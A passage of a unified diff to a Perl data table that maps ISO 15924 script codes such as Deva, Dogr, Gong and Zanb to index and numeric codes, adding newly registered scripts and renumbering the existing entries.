+         ],
       q(Deva) => [
-         q(0032),
+         q(0033),
          q(1),
          ],
+      q(Dogr) => [
+         q(0034),
+         q(0),
+         ],
       q(Dsrt) => [
-         q(0033),
+         q(0035),
          q(1),
          ],
       q(Dupl) => [
-         q(0034),
+         q(0036),
          q(1),
          ],
       q(Egyd) => [
-         q(0035),
+         q(0037),
          q(0),
          ],
       q(Egyh) => [
-         q(0036),
+         q(0038),
          q(0),
          ],
       q(Egyp) => [
-         q(0037),
+         q(0039),
          q(0),
          ],
       q(Elba) => [
-         q(0038),
+         q(0040),
          q(0),
          ],
       q(Ethi) => [
-         q(0039),
+         q(0041),
          q(1),
          ],
       q(Geok) => [
-         q(0040),
+         q(0042),
          q(0),
          ],
       q(Geor) => [
-         q(0041),
+         q(0043),
          q(0),
          ],
       q(Glag) => [
-         q(0042),
+         q(0044),
          q(0),
          ],
+      q(Gong) => [
+         q(0045),
+         q(0),
+         ],
+      q(Gonm) => [
+         q(0046),
+         q(0),
+         ],
       q(Goth) => [
-         q(0043),
+         q(0047),
          q(0),
          ],
       q(Gran) => [
-         q(0044),
+         q(0048),
          q(0),
          ],
       q(Grek) => [
-         q(0045),
+         q(0049),
          q(0),
          ],
       q(Gujr) => [
-         q(0046),
+         q(0050),
          q(0),
          ],
       q(Guru) => [
-         q(0047),
+         q(0051),
          q(0),
          ],
       q(Hanb) => [
-         q(0048),
+         q(0052),
          q(0),
          ],
       q(Hang) => [
-         q(0049),
+         q(0053),
          q(1),
          ],
       q(Hani) => [
-         q(0050),
+         q(0054),
          q(1),
          ],
       q(Hano) => [
-         q(0051),
+         q(0055),
          q(1),
          ],
       q(Hans) => [
-         q(0052),
+         q(0056),
          q(0),
          ],
       q(Hant) => [
-         q(0053),
+         q(0057),
          q(0),
          ],
       q(Hatr) => [
-         q(0054),
+         q(0058),
          q(0),
          ],
       q(Hebr) => [
-         q(0055),
+         q(0059),
          q(0),
          ],
       q(Hira) => [
-         q(0056),
+         q(0060),
          q(0),
          ],
       q(Hluw) => [
-         q(0057),
+         q(0061),
          q(1),
          ],
       q(Hmng) => [
-         q(0058),
+         q(0062),
          q(0),
          ],
+      q(Hmnp) => [
+         q(0063),
+         q(0),
+         ],
       q(Hrkt) => [
-         q(0059),
+         q(0064),
          q(0),
          ],
       q(Hung) => [
-         q(0060),
+         q(0065),
          q(1),
          ],
       q(Inds) => [
-         q(0061),
+         q(0066),
          q(1),
          ],
       q(Ital) => [
-         q(0062),
+         q(0067),
          q(0),
          ],
       q(Jamo) => [
-         q(0063),
+         q(0068),
          q(0),
          ],
       q(Java) => [
-         q(0064),
+         q(0069),
          q(0),
          ],
       q(Jpan) => [
-         q(0065),
+         q(0070),
          q(0),
          ],
       q(Jurc) => [
-         q(0066),
+         q(0071),
          q(0),
          ],
       q(Kali) => [
-         q(0067),
+         q(0072),
          q(0),
          ],
       q(Kana) => [
-         q(0068),
+         q(0073),
          q(0),
          ],
       q(Khar) => [
-         q(0069),
+         q(0074),
          q(0),
          ],
       q(Khmr) => [
-         q(0070),
+         q(0075),
          q(0),
          ],
       q(Khoj) => [
-         q(0071),
+         q(0076),
          q(0),
          ],
       q(Kitl) => [
-         q(0072),
+         q(0077),
          q(0),
          ],
       q(Kits) => [
-         q(0073),
+         q(0078),
          q(0),
          ],
       q(Knda) => [
-         q(0074),
+         q(0079),
          q(0),
          ],
       q(Kore) => [
-         q(0075),
+         q(0080),
          q(0),
          ],
       q(Kpel) => [
-         q(0076),
+         q(0081),
          q(0),
          ],
       q(Kthi) => [
-         q(0077),
+         q(0082),
          q(0),
          ],
       q(Lana) => [
-         q(0078),
+         q(0083),
          q(1),
          ],
       q(Laoo) => [
-         q(0079),
+         q(0084),
          q(0),
          ],
       q(Latf) => [
-         q(0080),
+         q(0085),
          q(0),
          ],
       q(Latg) => [
-         q(0081),
+         q(0086),
          q(0),
          ],
       q(Latn) => [
-         q(0082),
+         q(0087),
          q(0),
          ],
       q(Leke) => [
-         q(0083),
+         q(0088),
          q(0),
          ],
       q(Lepc) => [
-         q(0084),
+         q(0089),
          q(1),
          ],
       q(Limb) => [
-         q(0085),
+         q(0090),
          q(0),
          ],
       q(Lina) => [
-         q(0086),
+         q(0091),
          q(0),
          ],
       q(Linb) => [
-         q(0087),
+         q(0092),
          q(0),
          ],
       q(Lisu) => [
-         q(0088),
+         q(0093),
          q(1),
          ],
       q(Loma) => [
-         q(0089),
+         q(0094),
          q(0),
          ],
       q(Lyci) => [
-         q(0090),
+         q(0095),
          q(0),
          ],
       q(Lydi) => [
-         q(0091),
+         q(0096),
          q(0),
          ],
       q(Mahj) => [
-         q(0092),
+         q(0097),
          q(0),
          ],
+      q(Maka) => [
+         q(0098),
+         q(0),
+         ],
       q(Mand) => [
-         q(0093),
+         q(0099),
          q(1),
          ],
       q(Mani) => [
-         q(0094),
+         q(0100),
          q(0),
          ],
       q(Marc) => [
-         q(0095),
+         q(0101),
          q(0),
          ],
       q(Maya) => [
-         q(0096),
+         q(0102),
          q(0),
          ],
+      q(Medf) => [
+         q(0103),
+         q(1),
+         ],
       q(Mend) => [
-         q(0097),
+         q(0104),
          q(0),
          ],
       q(Merc) => [
-         q(0098),
+         q(0105),
          q(0),
          ],
       q(Mero) => [
-         q(0099),
+         q(0106),
          q(0),
          ],
       q(Mlym) => [
-         q(0100),
+         q(0107),
          q(0),
          ],
       q(Modi) => [
-         q(0101),
+         q(0108),
          q(1),
          ],
       q(Mong) => [
-         q(0102),
+         q(0109),
          q(0),
          ],
       q(Moon) => [
-         q(0103),
+         q(0110),
          q(1),
          ],
       q(Mroo) => [
-         q(0104),
+         q(0111),
          q(1),
          ],
       q(Mtei) => [
-         q(0105),
+         q(0112),
          q(1),
          ],
       q(Mult) => [
-         q(0106),
+         q(0113),
          q(0),
          ],
       q(Mymr) => [
-         q(0107),
+         q(0114),
          q(1),
          ],
       q(Narb) => [
-         q(0108),
+         q(0115),
          q(1),
          ],
       q(Nbat) => [
-         q(0109),
+         q(0116),
          q(0),
          ],
       q(Newa) => [
-         q(0110),
+         q(0117),
          q(1),
          ],
+      q(Nkdb) => [
+         q(0118),
+         q(1),
+         ],
       q(Nkgb) => [
-         q(0111),
+         q(0119),
          q(1),
          ],
       q(Nkoo) => [
-         q(0112),
+         q(0120),
          q(0),
          ],
       q(Nshu) => [
-         q(0113),
+         q(0121),
          q(0),
          ],
       q(Ogam) => [
-         q(0114),
+         q(0122),
          q(0),
          ],
       q(Olck) => [
-         q(0115),
+         q(0123),
          q(1),
          ],
       q(Orkh) => [
-         q(0116),
+         q(0124),
          q(1),
          ],
       q(Orya) => [
-         q(0117),
-         q(0),
+         q(0125),
+         q(1),
          ],
       q(Osge) => [
-         q(0118),
+         q(0126),
          q(0),
          ],
       q(Osma) => [
-         q(0119),
+         q(0127),
          q(0),
          ],
       q(Palm) => [
-         q(0120),
+         q(0128),
          q(0),
          ],
       q(Pauc) => [
-         q(0121),
+         q(0129),
          q(0),
          ],
       q(Perm) => [
-         q(0122),
+         q(0130),
          q(0),
          ],
       q(Phag) => [
-         q(0123),
+         q(0131),
          q(0),
          ],
       q(Phli) => [
-         q(0124),
+         q(0132),
          q(0),
          ],
       q(Phlp) => [
-         q(0125),
+         q(0133),
          q(0),
          ],
       q(Phlv) => [
-         q(0126),
+         q(0134),
          q(0),
          ],
       q(Phnx) => [
-         q(0127),
+         q(0135),
          q(0),
          ],
       q(Piqd) => [
-         q(0129),
+         q(0137),
          q(0),
          ],
       q(Plrd) => [
-         q(0128),
+         q(0136),
          q(1),
          ],
       q(Prti) => [
-         q(0130),
+         q(0138),
          q(0),
          ],
       q(Qaaa) => [
-         q(0131),
+         q(0139),
          q(0),
          ],
       q(Qabx) => [
-         q(0132),
+         q(0140),
          q(0),
          ],
       q(Rjng) => [
-         q(0133),
+         q(0141),
          q(1),
          ],
+      q(Rohg) => [
+         q(0142),
+         q(0),
+         ],
       q(Roro) => [
-         q(0134),
+         q(0143),
          q(0),
          ],
       q(Runr) => [
-         q(0135),
+         q(0144),
          q(0),
          ],
       q(Samr) => [
-         q(0136),
+         q(0145),
          q(0),
          ],
       q(Sara) => [
-         q(0137),
+         q(0146),
          q(0),
          ],
       q(Sarb) => [
-         q(0138),
+         q(0147),
          q(0),
          ],
       q(Saur) => [
-         q(0139),
+         q(0148),
          q(0),
          ],
       q(Sgnw) => [
-         q(0140),
+         q(0149),
          q(0),
          ],
       q(Shaw) => [
-         q(0141),
+         q(0150),
          q(1),
          ],
       q(Shrd) => [
-         q(0142),
+         q(0151),
          q(1),
          ],
+      q(Shui) => [
+         q(0152),
+         q(0),
+         ],
       q(Sidd) => [
-         q(0143),
+         q(0153),
          q(1),
          ],
       q(Sind) => [
-         q(0144),
+         q(0154),
          q(1),
          ],
       q(Sinh) => [
-         q(0145),
+         q(0155),
          q(0),
          ],
+      q(Sogd) => [
+         q(0156),
+         q(0),
+         ],
+      q(Sogo) => [
+         q(0157),
+         q(0),
+         ],
       q(Sora) => [
-         q(0146),
+         q(0158),
          q(0),
          ],
+      q(Soyo) => [
+         q(0159),
+         q(0),
+         ],
       q(Sund) => [
-         q(0147),
+         q(0160),
          q(0),
          ],
       q(Sylo) => [
-         q(0148),
+         q(0161),
          q(0),
          ],
       q(Syrc) => [
-         q(0149),
+         q(0162),
          q(0),
          ],
       q(Syre) => [
-         q(0150),
+         q(0163),
          q(0),
          ],
       q(Syrj) => [
-         q(0151),
+         q(0164),
          q(0),
          ],
       q(Syrn) => [
-         q(0152),
+         q(0165),
          q(0),
          ],
       q(Tagb) => [
-         q(0153),
+         q(0166),
          q(0),
          ],
       q(Takr) => [
-         q(0154),
+         q(0167),
          q(1),
          ],
       q(Tale) => [
-         q(0155),
+         q(0168),
          q(0),
          ],
       q(Talu) => [
-         q(0156),
+         q(0169),
          q(0),
          ],
       q(Taml) => [
-         q(0157),
+         q(0170),
          q(0),
          ],
       q(Tang) => [
-         q(0158),
+         q(0171),
          q(0),
          ],
       q(Tavt) => [
-         q(0159),
+         q(0172),
          q(0),
          ],
       q(Telu) => [
-         q(0160),
+         q(0173),
          q(0),
          ],
       q(Teng) => [
-         q(0161),
+         q(0174),
          q(0),
          ],
       q(Tfng) => [
-         q(0162),
+         q(0175),
          q(1),
          ],
       q(Tglg) => [
-         q(0163),
+         q(0176),
          q(1),
          ],
       q(Thaa) => [
-         q(0164),
+         q(0177),
          q(0),
          ],
       q(Thai) => [
-         q(0165),
+         q(0178),
          q(0),
          ],
       q(Tibt) => [
-         q(0166),
+         q(0179),
          q(0),
          ],
       q(Tirh) => [
-         q(0167),
+         q(0180),
          q(0),
          ],
       q(Ugar) => [
-         q(0168),
+         q(0181),
          q(0),
          ],
       q(Vaii) => [
-         q(0169),
+         q(0182),
          q(0),
          ],
       q(Visp) => [
-         q(0170),
+         q(0183),
          q(0),
          ],
       q(Wara) => [
-         q(0171),
+         q(0184),
          q(1),
          ],
+      q(Wcho) => [
+         q(0185),
+         q(0),
+         ],
       q(Wole) => [
-         q(0172),
+         q(0186),
          q(0),
          ],
       q(Xpeo) => [
-         q(0173),
+         q(0187),
          q(0),
          ],
       q(Xsux) => [
-         q(0174),
+         q(0188),
          q(1),
          ],
       q(Yiii) => [
-         q(0175),
+         q(0189),
          q(0),
          ],
+      q(Zanb) => [
+         q(0190),
+         q(1),
+         ],
       q(Zinh) => [
-         q(0176),
+         q(0191),
          q(0),
          ],
       q(Zmth) => [
-         q(0177),
+         q(0192),
          q(0),
          ],
       q(Zsye) => [
-         q(0178),
+         q(0193),
          q(0),
          ],
       q(Zsym) => [
-         q(0179),
+         q(0194),
          q(0),
          ],
       },
    q(num) => {
       q(020) => [
-         q(0174),
+         q(0188),
          q(0),
          ],
       q(030) => [
-         q(0173),
+         q(0187),
          q(0),
          ],
       q(040) => [
-         q(0168),
+         q(0181),
          q(0),
          ],
       q(050) => [
-         q(0037),
+         q(0039),
          q(0),
          ],
       q(060) => [
-         q(0036),
+         q(0038),
          q(0),
          ],
       q(070) => [
-         q(0035),
+         q(0037),
          q(0),
          ],
       q(080) => [
-         q(0057),
+         q(0061),
          q(0),
          ],
+      q(085) => [
+         q(0118),
+         q(0),
+         ],
       q(090) => [
-         q(0096),
+         q(0102),
          q(0),
          ],
       q(095) => [
-         q(0140),
+         q(0149),
          q(0),
          ],
       q(100) => [
-         q(0099),
+         q(0106),
          q(0),
          ],
       q(101) => [
-         q(0098),
+         q(0105),
          q(0),
          ],
       q(105) => [
-         q(0138),
+         q(0147),
          q(0),
          ],
       q(106) => [
-         q(0108),
+         q(0115),
          q(0),
          ],
       q(115) => [
-         q(0127),
+         q(0135),
          q(0),
          ],
       q(116) => [
-         q(0091),
+         q(0096),
          q(0),
          ],
       q(120) => [
-         q(0162),
+         q(0175),
          q(0),
          ],
       q(123) => [
-         q(0136),
+         q(0145),
          q(0),
          ],
       q(124) => [
@@ -2477,31 +2706,31 @@
          q(0),
          ],
       q(125) => [
-         q(0055),
+         q(0059),
          q(0),
          ],
       q(126) => [
-         q(0120),
+         q(0128),
          q(0),
          ],
       q(127) => [
-         q(0054),
+         q(0058),
          q(0),
          ],
       q(130) => [
-         q(0130),
+         q(0138),
          q(0),
          ],
       q(131) => [
-         q(0124),
+         q(0132),
          q(0),
          ],
       q(132) => [
-         q(0125),
+         q(0133),
          q(0),
          ],
       q(133) => [
-         q(0126),
+         q(0134),
          q(0),
          ],
       q(134) => [
@@ -2509,35 +2738,43 @@
          q(0),
          ],
       q(135) => [
-         q(0149),
+         q(0162),
          q(0),
          ],
       q(136) => [
-         q(0152),
+         q(0165),
          q(0),
          ],
       q(137) => [
-         q(0151),
+         q(0164),
          q(0),
          ],
       q(138) => [
-         q(0150),
+         q(0163),
          q(0),
          ],
       q(139) => [
-         q(0094),
+         q(0100),
          q(0),
          ],
       q(140) => [
-         q(0093),
+         q(0099),
          q(0),
          ],
+      q(141) => [
+         q(0156),
+         q(0),
+         ],
+      q(142) => [
+         q(0157),
+         q(0),
+         ],
       q(145) => [
-         q(0102),
+         q(0109),
          q(0),
          ],
       q(159) => [
-         q(0109),
+         q(0116),
          q(0),
          ],
       q(160) => [
@@ -2549,7 +2786,7 @@
          q(0),
          ],
       q(165) => [
-         q(0112),
+         q(0120),
          q(0),
          ],
       q(166) => [
@@ -2556,24 +2793,24 @@
          q(0001),
          q(0),
          ],
+      q(167) => [
+         q(0142),
+         q(0),
+         ],
       q(170) => [
-         q(0164),
+         q(0177),
          q(0),
          ],
       q(175) => [
-         q(0116),
+         q(0124),
          q(0),
          ],
       q(176) => [
-         q(0060),
+         q(0065),
          q(0),
          ],
-      q(199) => [
-         q(0104),
-         q(0),
-         ],
       q(200) => [
-         q(0045),
+         q(0049),
          q(0),
          ],
       q(201) => [
@@ -2581,7 +2818,7 @@
          q(0),
          ],
       q(202) => [
-         q(0090),
+         q(0095),
          q(0),
          ],
       q(204) => [
@@ -2589,59 +2826,59 @@
          q(0),
          ],
       q(206) => [
-         q(0043),
+         q(0047),
          q(0),
          ],
       q(210) => [
-         q(0062),
+         q(0067),
          q(0),
          ],
       q(211) => [
-         q(0135),
+         q(0144),
          q(0),
          ],
       q(212) => [
-         q(0114),
+         q(0122),
          q(0),
          ],
       q(215) => [
-         q(0082),
+         q(0087),
          q(0),
          ],
       q(216) => [
-         q(0081),
+         q(0086),
          q(0),
          ],
       q(217) => [
-         q(0080),
+         q(0085),
          q(0),
          ],
       q(218) => [
-         q(0103),
+         q(0110),
          q(0),
          ],
       q(219) => [
-         q(0118),
+         q(0126),
          q(0),
          ],
       q(220) => [
-         q(0030),
+         q(0031),
          q(0),
          ],
       q(221) => [
-         q(0031),
+         q(0032),
          q(0),
          ],
       q(225) => [
-         q(0042),
+         q(0044),
          q(0),
          ],
       q(226) => [
-         q(0038),
+         q(0040),
          q(0),
          ],
       q(227) => [
-         q(0122),
+         q(0130),
          q(0),
          ],
       q(230) => [
@@ -2653,15 +2890,15 @@
          q(0),
          ],
       q(240) => [
-         q(0041),
+         q(0043),
          q(0),
          ],
       q(241) => [
-         q(0040),
+         q(0042),
          q(0),
          ],
       q(250) => [
-         q(0033),
+         q(0035),
          q(0),
          ],
       q(259) => [
@@ -2669,35 +2906,47 @@
          q(0),
          ],
       q(260) => [
-         q(0119),
+         q(0127),
          q(0),
          ],
       q(261) => [
-         q(0115),
+         q(0123),
          q(0),
          ],
       q(262) => [
-         q(0171),
+         q(0184),
          q(0),
          ],
       q(263) => [
-         q(0121),
+         q(0129),
          q(0),
          ],
+      q(264) => [
+         q(0111),
+         q(0),
+         ],
+      q(265) => [
+         q(0103),
+         q(0),
+         ],
       q(280) => [
-         q(0170),
+         q(0183),
          q(0),
          ],
       q(281) => [
-         q(0141),
+         q(0150),
          q(0),
          ],
       q(282) => [
-         q(0128),
+         q(0136),
          q(0),
          ],
+      q(283) => [
+         q(0185),
+         q(0),
+         ],
       q(284) => [
-         q(0063),
+         q(0068),
          q(0),
          ],
       q(285) => [
@@ -2705,19 +2954,19 @@
          q(0),
          ],
       q(286) => [
-         q(0049),
+         q(0053),
          q(0),
          ],
       q(287) => [
-         q(0075),
+         q(0080),
          q(0),
          ],
       q(288) => [
-         q(0073),
+         q(0078),
          q(0),
          ],
       q(290) => [
-         q(0161),
+         q(0174),
          q(0),
          ],
       q(291) => [
@@ -2725,11 +2974,11 @@
          q(0),
          ],
       q(292) => [
-         q(0137),
+         q(0146),
          q(0),
          ],
       q(293) => [
-         q(0129),
+         q(0137),
          q(0),
          ],
       q(300) => [
@@ -2737,59 +2986,67 @@
          q(0),
          ],
       q(302) => [
-         q(0143),
+         q(0153),
          q(0),
          ],
       q(305) => [
-         q(0069),
+         q(0074),
          q(0),
          ],
       q(310) => [
-         q(0047),
+         q(0051),
          q(0),
          ],
+      q(312) => [
+         q(0045),
+         q(0),
+         ],
+      q(313) => [
+         q(0046),
+         q(0),
+         ],
       q(314) => [
-         q(0092),
+         q(0097),
          q(0),
          ],
       q(315) => [
-         q(0032),
+         q(0033),
          q(0),
          ],
       q(316) => [
-         q(0148),
+         q(0161),
          q(0),
          ],
       q(317) => [
-         q(0077),
+         q(0082),
          q(0),
          ],
       q(318) => [
-         q(0144),
+         q(0154),
          q(0),
          ],
       q(319) => [
-         q(0142),
+         q(0151),
          q(0),
          ],
       q(320) => [
-         q(0046),
+         q(0050),
          q(0),
          ],
       q(321) => [
-         q(0154),
+         q(0167),
          q(0),
          ],
       q(322) => [
-         q(0071),
+         q(0076),
          q(0),
          ],
       q(323) => [
-         q(0106),
+         q(0113),
          q(0),
          ],
       q(324) => [
-         q(0101),
+         q(0108),
          q(0),
          ],
       q(325) => [
@@ -2797,27 +3054,35 @@
          q(0),
          ],
       q(326) => [
-         q(0167),
+         q(0180),
          q(0),
          ],
       q(327) => [
-         q(0117),
+         q(0125),
          q(0),
          ],
+      q(328) => [
+         q(0034),
+         q(0),
+         ],
+      q(329) => [
+         q(0159),
+         q(0),
+         ],
       q(330) => [
-         q(0166),
+         q(0179),
          q(0),
          ],
       q(331) => [
-         q(0123),
+         q(0131),
          q(0),
          ],
       q(332) => [
-         q(0095),
+         q(0101),
          q(0),
          ],
       q(333) => [
-         q(0110),
+         q(0117),
          q(0),
          ],
       q(334) => [
@@ -2825,15 +3090,15 @@
          q(0),
          ],
       q(335) => [
-         q(0084),
+         q(0089),
          q(0),
          ],
       q(336) => [
-         q(0085),
+         q(0090),
          q(0),
          ],
       q(337) => [
-         q(0105),
+         q(0112),
          q(0),
          ],
       q(338) => [
@@ -2840,32 +3105,36 @@
          q(0004),
          q(0),
          ],
+      q(339) => [
+         q(0190),
+         q(0),
+         ],
       q(340) => [
-         q(0160),
+         q(0173),
          q(0),
          ],
       q(343) => [
-         q(0044),
+         q(0048),
          q(0),
          ],
       q(344) => [
-         q(0139),
+         q(0148),
          q(0),
          ],
       q(345) => [
-         q(0074),
+         q(0079),
          q(0),
          ],
       q(346) => [
-         q(0157),
+         q(0170),
          q(0),
          ],
       q(347) => [
-         q(0100),
+         q(0107),
          q(0),
          ],
       q(348) => [
-         q(0145),
+         q(0155),
          q(0),
          ],
       q(349) => [
@@ -2873,35 +3142,35 @@
          q(0),
          ],
       q(350) => [
-         q(0107),
+         q(0114),
          q(0),
          ],
       q(351) => [
-         q(0078),
+         q(0083),
          q(0),
          ],
       q(352) => [
-         q(0165),
+         q(0178),
          q(0),
          ],
       q(353) => [
-         q(0155),
+         q(0168),
          q(0),
          ],
       q(354) => [
-         q(0156),
+         q(0169),
          q(0),
          ],
       q(355) => [
-         q(0070),
+         q(0075),
          q(0),
          ],
       q(356) => [
-         q(0079),
+         q(0084),
          q(0),
          ],
       q(357) => [
-         q(0067),
+         q(0072),
          q(0),
          ],
       q(358) => [
@@ -2909,7 +3178,7 @@
          q(0),
          ],
       q(359) => [
-         q(0159),
+         q(0172),
          q(0),
          ],
       q(360) => [
@@ -2917,19 +3186,19 @@
          q(0),
          ],
       q(361) => [
-         q(0064),
+         q(0069),
          q(0),
          ],
       q(362) => [
-         q(0147),
+         q(0160),
          q(0),
          ],
       q(363) => [
-         q(0133),
+         q(0141),
          q(0),
          ],
       q(364) => [
-         q(0083),
+         q(0088),
          q(0),
          ],
       q(365) => [
@@ -2936,16 +3205,20 @@
          q(0013),
          q(0),
          ],
+      q(366) => [
+         q(0098),
+         q(0),
+         ],
       q(367) => [
          q(0020),
          q(0),
          ],
       q(370) => [
-         q(0163),
+         q(0176),
          q(0),
          ],
       q(371) => [
-         q(0051),
+         q(0055),
          q(0),
          ],
       q(372) => [
@@ -2953,51 +3226,55 @@
          q(0),
          ],
       q(373) => [
-         q(0153),
+         q(0166),
          q(0),
          ],
       q(398) => [
-         q(0146),
+         q(0158),
          q(0),
          ],
       q(399) => [
-         q(0088),
+         q(0093),
          q(0),
          ],
       q(400) => [
-         q(0086),
+         q(0091),
          q(0),
          ],
       q(401) => [
-         q(0087),
+         q(0092),
          q(0),
          ],
-      q(403) => [
+      q(402) => [
          q(0029),
          q(0),
          ],
+      q(403) => [
+         q(0030),
+         q(0),
+         ],
       q(410) => [
-         q(0056),
+         q(0060),
          q(0),
          ],
       q(411) => [
-         q(0068),
+         q(0073),
          q(0),
          ],
       q(412) => [
-         q(0059),
+         q(0064),
          q(0),
          ],
       q(413) => [
-         q(0065),
+         q(0070),
          q(0),
          ],
       q(420) => [
-         q(0111),
+         q(0119),
          q(0),
          ],
       q(430) => [
-         q(0039),
+         q(0041),
          q(0),
          ],
       q(435) => [
@@ -3005,15 +3282,15 @@
          q(0),
          ],
       q(436) => [
-         q(0076),
+         q(0081),
          q(0),
          ],
       q(437) => [
-         q(0089),
+         q(0094),
          q(0),
          ],
       q(438) => [
-         q(0097),
+         q(0104),
          q(0),
          ],
       q(439) => [
@@ -3029,53 +3306,61 @@
          q(0),
          ],
       q(450) => [
-         q(0058),
+         q(0062),
          q(0),
          ],
+      q(451) => [
+         q(0063),
+         q(0),
+         ],
       q(460) => [
-         q(0175),
+         q(0189),
          q(0),
          ],
       q(470) => [
-         q(0169),
+         q(0182),
          q(0),
          ],
       q(480) => [
-         q(0172),
+         q(0186),
          q(0),
          ],
       q(499) => [
-         q(0113),
+         q(0121),
          q(0),
          ],
       q(500) => [
-         q(0050),
+         q(0054),
          q(0),
          ],
       q(501) => [
-         q(0052),
+         q(0056),
          q(0),
          ],
       q(502) => [
-         q(0053),
+         q(0057),
          q(0),
          ],
       q(503) => [
-         q(0048),
+         q(0052),
          q(0),
          ],
       q(505) => [
-         q(0072),
+         q(0077),
          q(0),
          ],
       q(510) => [
-         q(0066),
+         q(0071),
          q(0),
          ],
       q(520) => [
-         q(0158),
+         q(0171),
          q(0),
          ],
+      q(530) => [
+         q(0152),
+         q(0),
+         ],
       q(550) => [
          q(0016),
          q(0),
@@ -3085,39 +3370,39 @@
          q(0),
          ],
       q(610) => [
-         q(0061),
+         q(0066),
          q(0),
          ],
       q(620) => [
-         q(0134),
+         q(0143),
          q(0),
          ],
       q(755) => [
-         q(0034),
+         q(0036),
          q(0),
          ],
       q(900) => [
-         q(0131),
+         q(0139),
          q(0),
          ],
       q(949) => [
-         q(0132),
+         q(0140),
          q(0),
          ],
       q(993) => [
-         q(0178),
+         q(0193),
          q(0),
          ],
       q(994) => [
-         q(0176),
+         q(0191),
          q(0),
          ],
       q(995) => [
-         q(0177),
+         q(0192),
          q(0),
          ],
       q(996) => [
-         q(0179),
+         q(0194),
          q(0),
          ],
       },
@@ -3153,157 +3438,172 @@
       q(0026) => q(Cher),
       q(0027) => q(Cirt),
       q(0028) => q(Copt),
-      q(0029) => q(Cprt),
-      q(0030) => q(Cyrl),
-      q(0031) => q(Cyrs),
-      q(0032) => q(Deva),
-      q(0033) => q(Dsrt),
-      q(0034) => q(Dupl),
-      q(0035) => q(Egyd),
-      q(0036) => q(Egyh),
-      q(0037) => q(Egyp),
-      q(0038) => q(Elba),
-      q(0039) => q(Ethi),
-      q(0040) => q(Geok),
-      q(0041) => q(Geor),
-      q(0042) => q(Glag),
-      q(0043) => q(Goth),
-      q(0044) => q(Gran),
-      q(0045) => q(Grek),
-      q(0046) => q(Gujr),
-      q(0047) => q(Guru),
-      q(0048) => q(Hanb),
-      q(0049) => q(Hang),
-      q(0050) => q(Hani),
-      q(0051) => q(Hano),
-      q(0052) => q(Hans),
-      q(0053) => q(Hant),
-      q(0054) => q(Hatr),
-      q(0055) => q(Hebr),
-      q(0056) => q(Hira),
-      q(0057) => q(Hluw),
-      q(0058) => q(Hmng),
-      q(0059) => q(Hrkt),
-      q(0060) => q(Hung),
-      q(0061) => q(Inds),
-      q(0062) => q(Ital),
-      q(0063) => q(Jamo),
-      q(0064) => q(Java),
-      q(0065) => q(Jpan),
-      q(0066) => q(Jurc),
-      q(0067) => q(Kali),
-      q(0068) => q(Kana),
-      q(0069) => q(Khar),
-      q(0070) => q(Khmr),
-      q(0071) => q(Khoj),
-      q(0072) => q(Kitl),
-      q(0073) => q(Kits),
-      q(0074) => q(Knda),
-      q(0075) => q(Kore),
-      q(0076) => q(Kpel),
-      q(0077) => q(Kthi),
-      q(0078) => q(Lana),
-      q(0079) => q(Laoo),
-      q(0080) => q(Latf),
-      q(0081) => q(Latg),
-      q(0082) => q(Latn),
-      q(0083) => q(Leke),
-      q(0084) => q(Lepc),
-      q(0085) => q(Limb),
-      q(0086) => q(Lina),
-      q(0087) => q(Linb),
-      q(0088) => q(Lisu),
-      q(0089) => q(Loma),
-      q(0090) => q(Lyci),
-      q(0091) => q(Lydi),
-      q(0092) => q(Mahj),
-      q(0093) => q(Mand),
-      q(0094) => q(Mani),
-      q(0095) => q(Marc),
-      q(0096) => q(Maya),
-      q(0097) => q(Mend),
-      q(0098) => q(Merc),
-      q(0099) => q(Mero),
-      q(0100) => q(Mlym),
-      q(0101) => q(Modi),
-      q(0102) => q(Mong),
-      q(0103) => q(Moon),
-      q(0104) => q(Mroo),
-      q(0105) => q(Mtei),
-      q(0106) => q(Mult),
-      q(0107) => q(Mymr),
-      q(0108) => q(Narb),
-      q(0109) => q(Nbat),
-      q(0110) => q(Newa),
-      q(0111) => q(Nkgb),
-      q(0112) => q(Nkoo),
-      q(0113) => q(Nshu),
-      q(0114) => q(Ogam),
-      q(0115) => q(Olck),
-      q(0116) => q(Orkh),
-      q(0117) => q(Orya),
-      q(0118) => q(Osge),
-      q(0119) => q(Osma),
-      q(0120) => q(Palm),
-      q(0121) => q(Pauc),
-      q(0122) => q(Perm),
-      q(0123) => q(Phag),
-      q(0124) => q(Phli),
-      q(0125) => q(Phlp),
-      q(0126) => q(Phlv),
-      q(0127) => q(Phnx),
-      q(0128) => q(Plrd),
-      q(0129) => q(Piqd),
-      q(0130) => q(Prti),
-      q(0131) => q(Qaaa),
-      q(0132) => q(Qabx),
-      q(0133) => q(Rjng),
-      q(0134) => q(Roro),
-      q(0135) => q(Runr),
-      q(0136) => q(Samr),
-      q(0137) => q(Sara),
-      q(0138) => q(Sarb),
-      q(0139) => q(Saur),
-      q(0140) => q(Sgnw),
-      q(0141) => q(Shaw),
-      q(0142) => q(Shrd),
-      q(0143) => q(Sidd),
-      q(0144) => q(Sind),
-      q(0145) => q(Sinh),
-      q(0146) => q(Sora),
-      q(0147) => q(Sund),
-      q(0148) => q(Sylo),
-      q(0149) => q(Syrc),
-      q(0150) => q(Syre),
-      q(0151) => q(Syrj),
-      q(0152) => q(Syrn),
-      q(0153) => q(Tagb),
-      q(0154) => q(Takr),
-      q(0155) => q(Tale),
-      q(0156) => q(Talu),
-      q(0157) => q(Taml),
-      q(0158) => q(Tang),
-      q(0159) => q(Tavt),
-      q(0160) => q(Telu),
-      q(0161) => q(Teng),
-      q(0162) => q(Tfng),
-      q(0163) => q(Tglg),
-      q(0164) => q(Thaa),
-      q(0165) => q(Thai),
-      q(0166) => q(Tibt),
-      q(0167) => q(Tirh),
-      q(0168) => q(Ugar),
-      q(0169) => q(Vaii),
-      q(0170) => q(Visp),
-      q(0171) => q(Wara),
-      q(0172) => q(Wole),
-      q(0173) => q(Xpeo),
-      q(0174) => q(Xsux),
-      q(0175) => q(Yiii),
-      q(0176) => q(Zinh),
-      q(0177) => q(Zmth),
-      q(0178) => q(Zsye),
-      q(0179) => q(Zsym),
+      q(0029) => q(Cpmn),
+      q(0030) => q(Cprt),
+      q(0031) => q(Cyrl),
+      q(0032) => q(Cyrs),
+      q(0033) => q(Deva),
+      q(0034) => q(Dogr),
+      q(0035) => q(Dsrt),
+      q(0036) => q(Dupl),
+      q(0037) => q(Egyd),
+      q(0038) => q(Egyh),
+      q(0039) => q(Egyp),
+      q(0040) => q(Elba),
+      q(0041) => q(Ethi),
+      q(0042) => q(Geok),
+      q(0043) => q(Geor),
+      q(0044) => q(Glag),
